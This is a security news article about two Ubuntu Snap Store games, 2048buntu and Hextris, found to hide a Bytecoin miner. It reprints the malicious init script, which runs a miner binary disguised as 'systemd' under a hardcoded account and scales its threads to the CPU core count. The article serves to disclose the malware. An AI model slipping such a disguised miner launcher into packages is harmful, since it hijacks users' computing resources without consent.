Ubuntu Snap Store Apps Contains Hidden Cryptocurrency Miner Malware

An Ubuntu user identified a malicious code that mines Bytecoin (BCN) hidden in the source code of the Ubuntu snap package (2048buntu and Hextris) on the official Ubuntu Snap Store.

The malicious app 2048buntu appears to be a carbon copy of the legitimate 2024 game that hosted on the Ubuntu Snap Store.

Both the packages “2048buntu and Hextris” that contain cryptocurrency codes added to the store by user Nicolas Tomb and the account hardcoded is myfirstferrari@protonmail.com.

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An Ubuntu user according to Github name “tarwirdur” identified the app contains a cryptocurrency miner hidden in “systemd” daemon and the affected app contains “init script” which allows the script to run in the background.

#!/bin/bash

currency=bcn
name=2048buntu


{ # try
/snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1 -g
} || { # catch
cores=($(grep -c ^processor /proc/cpuinfo))

if (( $cores < 4 )); then
 /snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1
else
 /snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 2
fi
}

As like android play store, the Snap Store doesn’t provide a number of installations, so it is unclear on how many users affected with hidden cryptocurrency miner.

With Ubuntu store, anyone can create and host apps as like Chrome web store, iOS App Store, and Google Play Store.

According to omgubuntu “all the uploaded apps will undergo automatic testing to ensure compatibility across multiple distros and with current framework snaps are not checked line-by-line, so it is difficult to stop these miners being published on the Snap store.”

All the apps uploaded by user Nicolas Tomb was removed from the Ubuntu Snap Store and it’s pending further investigations. You can find the page in Google cache.